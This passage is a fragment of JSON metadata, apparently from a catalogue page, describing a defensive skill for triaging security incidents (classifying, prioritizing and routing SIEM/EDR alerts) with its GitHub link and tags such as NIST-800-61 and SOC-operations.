classifying incident type, assigning priority by business impact, and routing to the appropriate response team. Use when a SIEM\u002FEDR alert needs human classification, concurrent alerts must be prioritized, or a user report or threat-intel IOC match requires initial incident categorization.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-security-incident\u002FSKILL.md",[264],{"categoryNo":131,"categoryName":132,"taxonomyType":133,"taxonomyTypeDesc":134},[140,266,32,267,268,269,270,271,272,273,274,30,275,201,21,276,277,278,279,280],"triaging security incident","siem","file","ioc","soc","NIST-800-61","NIST","severity","edr","execution","classification","severity-classification","incident-triage","SANS-PICERL","SOC-operations"]